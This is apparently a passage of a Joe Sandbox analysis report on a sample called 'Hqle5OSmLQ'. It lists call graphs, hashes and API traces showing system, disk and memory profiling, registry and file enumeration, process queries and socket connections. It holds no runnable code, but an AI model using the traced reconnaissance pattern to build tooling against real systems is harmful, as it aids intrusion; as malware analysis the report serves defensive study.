ae76a0 send 60195->60199 60200 b19290 60195->60200 60197 b1b3ea 60199->60197 60201 ae76a0 send 60200->60201 60202 b192e5 60201->60202 60203 b19335 WSAIoctl 60202->60203 60204 b19392 60202->60204 60203->60204 60205 b19366 60203->60205 60204->60197 60205->60204 60206 b19371 setsockopt 60205->60206 60206->60204 60207 b1e400 60208 b1e412 60207->60208 60210 b1e459 60207->60210 60211 b168b0 closesocket 60208->60211 60211->60210 60212 b1b400 60213 b1b425 60212->60213 60214 b1b40b 60212->60214 60217 ae7770 60214->60217 60215 b1b421 60218 ae77b6 recv 60217->60218 60219 ae7790 60217->60219 60220 ae7799 60218->60220 60219->60218 60219->60220 60220->60215 60221 ae255d 60222 e69f70 60221->60222 60223 ae256c GetSystemInfo 60222->60223 60224 ae2589 60223->60224 60225 ae25a0 GlobalMemoryStatusEx 60224->60225 60230 ae25ec 60225->60230 60226 ae2762 60229 ae27d6 KiUserCallbackDispatcher 60226->60229 60227 ae263c GetDriveTypeA 60228 ae2655 GetDiskFreeSpaceExA 60227->60228 60227->60230 60228->60230 60231 ae27f8 60229->60231 60230->60226 60230->60227 60232 ae28d9 FindFirstFileW 60231->60232 60233 ae2906 FindNextFileW 60232->60233 60234 ae2928 60232->60234 60233->60233 60233->60234 59996 b970a0 59999 b970ae 59996->59999 59998 b971a7 59999->59998 60000 b9717f 59999->60000 60003 baa8c0 59999->60003 60007 b971c0 59999->60007 60000->59998 60011 ba9320 closesocket 60000->60011 60004 baa903 recvfrom 60003->60004 60005 baa8e6 60003->60005 60006 baa8ed 60004->60006 60005->60004 60005->60006 60006->59999 60010 b971e6 60007->60010 60009 b971f2 60009->59999 60010->60009 60012 b96050 60010->60012 60011->59998 60013 b960d9 60012->60013 60018 baaa30 60013->60018 60015 b962fc 60016 b96050 5 API calls 60015->60016 60017 b96506 60015->60017 60016->60017 60017->60009 60019 baaa5f 60018->60019 60020 baab96 socket 60019->60020 60021 baab75 60019->60021 60029 baab04 60019->60029 60020->60021 60020->60029 60022 baabd0 ioctlsocket 60021->60022 60026 baad2e 60021->60026 60021->60029 60023 baabef 60022->60023 60025 baad0a setsockopt 60023->60025 60023->60026 60023->60029 60024 baada0 connect 60024->60026 60025->60026 60025->60029 60026->60024 60027 baade1 60026->60027 60026->60029 60027->60029 60030 baaf70 60027->60030 60029->60015 60031 baaf93 getsockname 60030->60031 60032 baaf8d 60030->60032 60031->60032 60032->60029 60033 b94720 60037 b94728 60033->60037 60034 b94733 60036 b94774 60037->60034 60042 b9476c 60037->60042 60043 b99270 60037->60043 60039 b94860 60046 b94950 60039->60046 60041 b94878 60042->60041 60052 b930a0 closesocket 60042->60052 60053 b9a440 60043->60053 60045 b99297 60045->60039 60047 b94966 60046->60047 60050 b949c5 60047->60050 60051 b949b9 60047->60051 60084 b9b590 if_nametoindex 60047->60084 60049 b94aa0 gethostname 60049->60050 60049->60051 60050->60042 60051->60049 60051->60050 60052->60036 60078 b9a46b 60053->60078 60054 b9a4db 60055 b9aa03 RegOpenKeyExA 60054->60055 60068 b9ad14 60054->60068 60056 b9ab70 RegOpenKeyExA 60055->60056 60057 b9aa27 RegQueryValueExA 60055->60057 60060 b9ac34 RegOpenKeyExA 60056->60060 60079 b9ab90 60056->60079 60058 b9aacc RegQueryValueExA 60057->60058 60059 b9aa71 60057->60059 60061 b9ab0e 60058->60061 60062 b9ab66 RegCloseKey 60058->60062 60059->60058 60066 b9aa85 RegQueryValueExA 60059->60066 60063 b9acf8 RegOpenKeyExA 60060->60063 60081 b9ac54 60060->60081 60061->60062 60067 b9ab1e RegQueryValueExA 60061->60067 60062->60056 60064 b9ad56 RegEnumKeyExA 60063->60064 60063->60068 60065 b9ad9b 60064->60065 60064->60068 60069 b9ae16 RegOpenKeyExA 60065->60069 60070 b9aab3 60066->60070 60073 b9ab4c 60067->60073 60068->60045 60071 b9addf RegEnumKeyExA 60069->60071 60072 b9ae34 RegQueryValueExA 60069->60072 60070->60058 60071->60068 60071->60069 60074 b9af43 RegQueryValueExA 60072->60074 60082 b9adaa 60072->60082 60073->60062 60075 b9b052 RegQueryValueExA 60074->60075 60074->60082 60077 b9adc7 RegCloseKey 60075->60077 60075->60082 60077->60071 60078->60054 60083 b9b830 if_nametoindex 60078->60083 60079->60060 60080 b9afa0 RegQueryValueExA 60080->60082 60081->60063 60082->60074 60082->60075 60082->60077 60082->60080 60083->60054 60084->60051 60235 ae31d7 60238 ae31f4 60235->60238 60236 ae3200 60237 ae32dc CloseHandle 60237->60236 60238->60236 60238->60237 60239 ae2f17 60243 ae2f2c 60239->60243 60240 ae31d3 60241 ae2fb3 RegOpenKeyExA 60241->60243 60242 ae315c RegEnumKeyExA 60242->60243 60243->60240 60243->60241 60243->60242 60244 ae3046 RegOpenKeyExA 60243->60244 60246 ae313b RegCloseKey 60243->60246 60244->60243 60245 ae3089 RegQueryValueExA 60244->60245 60245->60243 60245->60246 60246->60243 60085 baa920 60086 baa944 60085->60086 60087 baa94b 60086->60087 60088 baa977 send 60086->60088 60247 bab180 60248 bab19b 60247->60248 60254 bab2e3 60247->60254 60251 bab2a9 getsockname 60248->60251 60253 bab020 closesocket 60248->60253 60248->60254 60255 baaf30 60248->60255 60259 bab060 60248->60259 60264 bab020 60251->60264 60253->60248 60256 baaf4c 60255->60256 60257 baaf63 socket 60255->60257 60256->60257 60258 baaf52 60256->60258 60257->60248 60258->60248 60263 bab080 60259->60263 60260 bab0b0 connect 60261 bab0bf WSAGetLastError 60260->60261 60262 bab0ea 60261->60262 60261->60263 60262->60248 60263->60260 60263->60261 60263->60262 60265 bab029 60264->60265 60266 bab052 60264->60266 60267 bab04b closesocket 60265->60267 60268 bab03e 60265->60268 60266->60248 60267->60266 60268->60248 60269 baa080 60272 ba9740 60269->60272 60271 baa09b 60273 ba9780 60272->60273 60277 ba975d 60272->60277 60274 ba9925 RegOpenKeyExA 60273->60274 60273->60277 60275 ba995a RegQueryValueExA 60274->60275 60274->60277 60276 ba9986 RegCloseKey 60275->60276 60276->60277 60277->60271

                                  Executed Functions

                                  Function 00B1F100 Relevance: 20.1, Strings: 15, Instructions: 1304COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: %s assess started=%d, result=%d$%s connect -> %d, connected=%d$%s connect timeout after %lldms, move on!$%s done$%s starting (timeout=%lldms)$%s trying next$Connected to %s (%s) port %u$Connection time-out$Connection timeout after %lld ms$Failed to connect to %s port %u after %lld ms: %s$all eyeballers failed$connect.c$created %s (timeout %lldms)$ipv4$ipv6
                                  • API String ID: 0-1590685507
                                  • Opcode ID: 44a2ff5f5f9e0ac1a0d9f92abc1fa7ea58d670a4c2d857012bb4f707b7da3ab7
                                  • Instruction ID: 1e13fd53041703622fbce565e05453aec7deb40eb23e771717ca027de69b613f
                                  • Opcode Fuzzy Hash: 44a2ff5f5f9e0ac1a0d9f92abc1fa7ea58d670a4c2d857012bb4f707b7da3ab7
                                  • Instruction Fuzzy Hash: F2C2A031A043459FD724DF29C484BAAB7E1FF88314F4586ADEC989B262D770ED84CB81
                                  Function 00AE255D Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 282fileCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  APIs
                                  • GetSystemInfo.KERNELBASE ref: 00AE2579
                                  • GlobalMemoryStatusEx.KERNELBASE ref: 00AE25CC
                                  • GetDriveTypeA.KERNELBASE ref: 00AE2647
                                  • GetDiskFreeSpaceExA.KERNELBASE ref: 00AE267E
                                  • KiUserCallbackDispatcher.NTDLL ref: 00AE27E2
                                  • FindFirstFileW.KERNELBASE ref: 00AE28F8
                                  • FindNextFileW.KERNELBASE ref: 00AE291F
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: FileFind$CallbackDiskDispatcherDriveFirstFreeGlobalInfoMemoryNextSpaceStatusSystemTypeUser
                                  • String ID: @$`
                                  • API String ID: 3271271169-3318628307
                                  • Opcode ID: d94250d5621d48eaf1390dc77b07ff6901f17f2fd5f83a653728c996bbd20c7b
                                  • Instruction ID: d01c9b6acb98b153c7a725d5de435355feea2d2bad611a14b0ff915a53475d23
                                  • Opcode Fuzzy Hash: d94250d5621d48eaf1390dc77b07ff6901f17f2fd5f83a653728c996bbd20c7b
                                  • Instruction Fuzzy Hash: B4D1B2B59043089FCB50EFA9C99569EBBF0FF48344F40896DE89897301E734AA84DF52
                                  Function 00AE29FF Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 321registryfileCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1271 ae29ff-ae2a2f FindFirstFileA 1272 ae2a38 1271->1272 1273 ae2a31-ae2a36 1271->1273 1274 ae2a3d-ae2a91 call fb1e50 call fb1ee0 RegOpenKeyExA 1272->1274 1273->1274 1279 ae2a9a 1274->1279 1280 ae2a93-ae2a98 1274->1280 1281 ae2a9f-ae2b0c call fb1e50 call fb1ee0 CharUpperA call e68da0 1279->1281 1280->1281 1289 ae2b0e-ae2b13 1281->1289 1290 ae2b15 1281->1290 1291 ae2b1a-ae2b92 call fb1e50 call fb1ee0 call e68e80 call e68e70 1289->1291 1290->1291 1300 ae2bcc-ae2c66 QueryFullProcessImageNameA CloseHandle call e68da0 1291->1300 1301 ae2b94-ae2ba3 1291->1301 1311 ae2c6f 1300->1311 1312 ae2c68-ae2c6d 1300->1312 1304 ae2ba5-ae2bae 1301->1304 1305 ae2bb0-ae2bc0 call e68e68 1301->1305 1304->1300 1309 ae2bc5-ae2bca 1305->1309 1309->1300 1309->1301 1313 ae2c74-ae2ce9 call fb1e50 call fb1ee0 call e68e80 call e68e70 1311->1313 1312->1313 1322 ae2dcf-ae2e1c call fb1e50 call fb1ee0 CloseHandle 1313->1322 1323 ae2cef-ae2d49 call e68bb0 call e68da0 1313->1323 1333 ae2e23-ae2e2e 1322->1333 1334 ae2d4b-ae2d63 call e68da0 1323->1334 1335 ae2d99-ae2dad 1323->1335 1336 ae2e37 1333->1336 1337 ae2e30-ae2e35 1333->1337 1334->1335 1343 ae2d65-ae2d7d call e68da0 1334->1343 1335->1322 1339 ae2e3c-ae2ed6 call fb1e50 call fb1ee0 1336->1339 1337->1339 1352 ae2eea 1339->1352 1353 ae2ed8-ae2ee1 1339->1353 1343->1335 1349 ae2d7f-ae2d97 call e68da0 1343->1349 1349->1335 1357 ae2daf-ae2dc9 call e68e68 1349->1357 1356 ae2eef-ae2f16 call fb1e50 call fb1ee0 1352->1356 1353->1352 1355 ae2ee3-ae2ee8 1353->1355 1355->1356 1357->1322 1357->1323
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: CloseHandle$CharFileFindFirstFullImageNameOpenProcessQueryUpper
                                  • String ID: 0
                                  • API String ID: 2406880114-4108050209
                                  • Opcode ID: 6c70a91a51df3834417b2fae55279bef85b7f54fd1e34c0affc02df61ef1fc41
                                  • Instruction ID: ae2a9c54fe6fbb6d95b4a59491bdc939896d826647d105bf4d51c95aa27ef13e
                                  • Opcode Fuzzy Hash: 6c70a91a51df3834417b2fae55279bef85b7f54fd1e34c0affc02df61ef1fc41
                                  • Instruction Fuzzy Hash: 94E1E4B09043099FCB50EF69DA8569EBBF4AF48744F40886DE888D7340EB75DA84CF42
                                  Function 00AF05B0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 377networkCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1545 af05b0-af05b7 1546 af07ee 1545->1546 1547 af05bd-af05d4 1545->1547 1548 af05da-af05e6 1547->1548 1549 af07e7-af07ed 1547->1549 1548->1549 1550 af05ec-af05f0 1548->1550 1549->1546 1551 af07c7-af07cc 1550->1551 1552 af05f6-af0620 call af7350 call ae70b0 1550->1552 1551->1549 1557 af066a-af068c call b1dec0 1552->1557 1558 af0622-af0624 1552->1558 1563 af07d6-af07e3 call af7380 1557->1563 1564 af0692-af06a0 1557->1564 1560 af0630-af0655 call ae70d0 call af03c0 call af7450 1558->1560 1584 af07ce 1560->1584 1585 af065b-af0668 call ae70e0 1560->1585 1563->1549 1567 af06f4-af06f6 1564->1567 1568 af06a2-af06a4 1564->1568 1573 af07ef-af082b call af3000 1567->1573 1574 af06fc-af06fe 1567->1574 1571 af06b0-af06e4 call af73b0 1568->1571 1571->1563 1590 af06ea-af06ee 1571->1590 1588 af0a2f-af0a35 1573->1588 1589 af0831-af0837 1573->1589 1578 af072c-af0754 1574->1578 1579 af075f-af078b 1578->1579 1580 af0756-af075b 1578->1580 1602 af0791-af0796 1579->1602 1603 af0700-af0703 1579->1603 1586 af075d 1580->1586 1587 af0707-af0719 WSAEventSelect 1580->1587 1584->1563 1585->1557 1585->1560 1593 af0723-af0726 1586->1593 1587->1563 1592 af071f 1587->1592 1598 af0a3c-af0a52 1588->1598 1599 af0a37-af0a3a 1588->1599 1595 af0839-af084c call af6fa0 1589->1595 1596 af0861-af087e 1589->1596 1590->1571 1597 af06f0 1590->1597 1592->1593 1593->1573 1593->1578 1612 af0a9c-af0aa4 1595->1612 1613 af0852 1595->1613 1609 af0882-af088d 1596->1609 1597->1567 1598->1563 1600 af0a58-af0a81 call af2f10 1598->1600 1599->1598 1600->1563 1616 af0a87-af0a97 call af6df0 1600->1616 1602->1603 1606 af079c-af07c2 call ae76a0 1602->1606 1603->1587 1606->1603 1614 af0893-af08b1 1609->1614 1615 af0970-af0975 1609->1615 1612->1563 1613->1596 1618 af0854-af085f 1613->1618 1619 af08c8-af08f7 1614->1619 1621 af097b-af0989 call ae70b0 1615->1621 1622 af0a19-af0a2c 1615->1622 1616->1563 1618->1609 1629 af08fd-af0925 1619->1629 1630 af08f9-af08fb 1619->1630 1621->1622 1628 af098f-af099e 1621->1628 1622->1588 1631 af09b0-af09c1 call ae70d0 1628->1631 1632 af0928-af093f 1629->1632 1630->1632 1636 af09c3-af09c7 1631->1636 1637 af09a0-af09ae call ae70e0 1631->1637 1638 af0945-af096b 1632->1638 1639 af08b3-af08c2 1632->1639 1641 af09e8-af0a03 WSAEnumNetworkEvents 1636->1641 1637->1622 1637->1631 1638->1639 1639->1615 1639->1619 1643 af0a05-af0a17 1641->1643 1644 af09d0-af09e6 WSAEventSelect 1641->1644 1643->1644 1644->1637 1644->1641
                                  APIs
                                  • WSAEventSelect.WS2_32(?,8508C483,?), ref: 00AF0712
                                  • WSAEventSelect.WS2_32(?,8508C483,00000000), ref: 00AF09DD
                                  • WSAEnumNetworkEvents.WS2_32(?,00000000,00000000), ref: 00AF09FC
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: EventSelect$EnumEventsNetwork
                                  • String ID: multi.c
                                  • API String ID: 2170980988-214371023
                                  • Opcode ID: 8df18294028bc0bb7a0d7dbe7e88131ea11da976008c1dd073e8a8c11da35f6e
                                  • Instruction ID: 70e389f93a7474afbd14cf4e8f26a5f1b700223150f57ef0dae1c2036c88173e
                                  • Opcode Fuzzy Hash: 8df18294028bc0bb7a0d7dbe7e88131ea11da976008c1dd073e8a8c11da35f6e
                                  • Instruction Fuzzy Hash: 6ED1B0716083499FEB10DFA4C981B7BB7E5FF94348F04482DFA8586242E7B4E944DB92
                                  Function 00AF6FA0 Relevance: 6.3, APIs: 4, Instructions: 261COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1780 af6fa0-af6fd2 1781 af6feb-af6ff1 1780->1781 1782 af6fd4-af6fd6 1780->1782 1784 af6ff7-af6ff9 1781->1784 1785 af7324-af7330 1781->1785 1783 af6fe0-af6fe4 1782->1783 1786 af701b-af7041 1783->1786 1787 af6fe6-af6fe9 1783->1787 1788 af6fff-af7016 1784->1788 1789 af7186-af7196 1784->1789 1790 af7060-af7074 1786->1790 1787->1781 1787->1783 1788->1785 1789->1785 1792 af7057-af705a 1790->1792 1793 af7076-af7081 1790->1793 1792->1790 1795 af7172-af7174 1792->1795 1793->1792 1796 af7083-af7089 1793->1796 1797 af719b-af71a8 1795->1797 1798 af7176-af7184 1795->1798 1799 af70dc-af70df 1796->1799 1800 af708b-af708f 1796->1800 1801 af71f1-af722d call afd7f0 select 1797->1801 1802 af71aa-af71be 1797->1802 1798->1801 1805 af712c-af7132 1799->1805 1806 af70e1-af70e5 1799->1806 1803 af7091 1800->1803 1804 af70b0-af70bd 1800->1804 1831 af730b 1801->1831 1832 af7233-af723e 1801->1832 1809 af730d-af7310 1802->1809 1810 af71c4-af71c6 1802->1810 1811 af70a0-af70a7 1803->1811 1814 af70bf-af70ce 1804->1814 1815 af70d5 1804->1815 1805->1792 1812 af7138-af713c 1805->1812 1807 af70e7 1806->1807 1808 af7100-af710d 1806->1808 1817 af70f0-af70f7 1807->1817 1818 af710f-af711e 1808->1818 1819 af7125 1808->1819 1809->1785 1816 af7312-af7322 1809->1816 1820 af71cc-af71e6 1810->1820 1821 af7331-af7344 1810->1821 1811->1804 1822 af70a9-af70ac 1811->1822 1823 af713e 1812->1823 1824 af714d-af715a 1812->1824 1814->1815 1815->1799 1816->1785 1817->1808 1826 af70f9-af70fc 1817->1826 1818->1819 1819->1805 1820->1785 1842 af71ec 1820->1842 1821->1785 1841 af7346 1821->1841 1822->1811 1827 af70ae 1822->1827 1828 af7140-af7144 1823->1828 1829 af7050 1824->1829 1830 af7160-af716d 1824->1830 1826->1817 1834 af70fe 1826->1834 1827->1804 1828->1824 1837 af7146-af7149 1828->1837 1829->1792 1830->1829 1831->1809 1838 af725c-af7269 1832->1838 1834->1808 1837->1828 1843 af714b 1837->1843 1839 af726b-af727b __WSAFDIsSet 1838->1839 1840 af7253-af7256 1838->1840 1844 af727d-af7287 1839->1844 1845 af729a-af72ac __WSAFDIsSet 1839->1845 1840->1785 1840->1838 1841->1816 1842->1816 1843->1824 1846 af728e-af7293 1844->1846 1847 af7289 1844->1847 1848 af72ae-af72b3 1845->1848 1849 af72ba-af72c9 __WSAFDIsSet 1845->1849 1846->1845 1850 af7295 1846->1850 1847->1846 1848->1849 1851 af72b5 1848->1851 1852 af72cf-af72f6 1849->1852 1853 af7240 1849->1853 1850->1845 1851->1849 1854 af7245-af724c 1852->1854 1855 af72fc-af7306 1852->1855 1853->1854 1854->1840 1855->1854
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: a64a0189234a08bdad02be9bbaa4830bf677effd6bf377ddc0dbef54bb2c16b7
                                  • Instruction ID: d467d18de6b64e61f26120cbc1d8436b4e6e4d9017d6518a6dd1d4ebd9118279
                                  • Opcode Fuzzy Hash: a64a0189234a08bdad02be9bbaa4830bf677effd6bf377ddc0dbef54bb2c16b7
                                  • Instruction Fuzzy Hash: BF91EE3060D31D4BD7358BA888847BEB2E9AFC4364F148B2CFAA9471E4EB709C40D681
                                  Function 00BAB180 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 323COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1856 bab180-bab195 1857 bab19b-bab1a2 1856->1857 1858 bab3e0-bab3e7 1856->1858 1859 bab1b0-bab1b9 1857->1859 1859->1859 1860 bab1bb-bab1bd 1859->1860 1860->1858 1861 bab1c3-bab1d0 1860->1861 1863 bab3db 1861->1863 1864 bab1d6-bab1f2 1861->1864 1863->1858 1865 bab229-bab22d 1864->1865 1866 bab3e8-bab417 1865->1866 1867 bab233-bab246 1865->1867 1876 bab41d-bab429 1866->1876 1877 bab582-bab589 1866->1877 1868 bab248-bab24b 1867->1868 1869 bab260-bab264 1867->1869 1870 bab24d-bab256 1868->1870 1871 bab215-bab223 1868->1871 1873 bab269-bab286 call baaf30 1869->1873 1870->1873 1871->1865 1875 bab315-bab33c call e68b00 1871->1875 1883 bab288-bab2a3 call bab060 1873->1883 1884 bab2f0-bab301 1873->1884 1887 bab3bf-bab3ca 1875->1887 1888 bab342-bab347 1875->1888 1878 bab42b-bab433 call bab590 1876->1878 1879 bab435-bab44c call bab590 1876->1879 1878->1879 1895 bab458-bab471 call bab590 1879->1895 1896 bab44e-bab456 call bab590 1879->1896 1901 bab2a9-bab2c7 getsockname call bab020 1883->1901 1902 bab200-bab213 call bab020 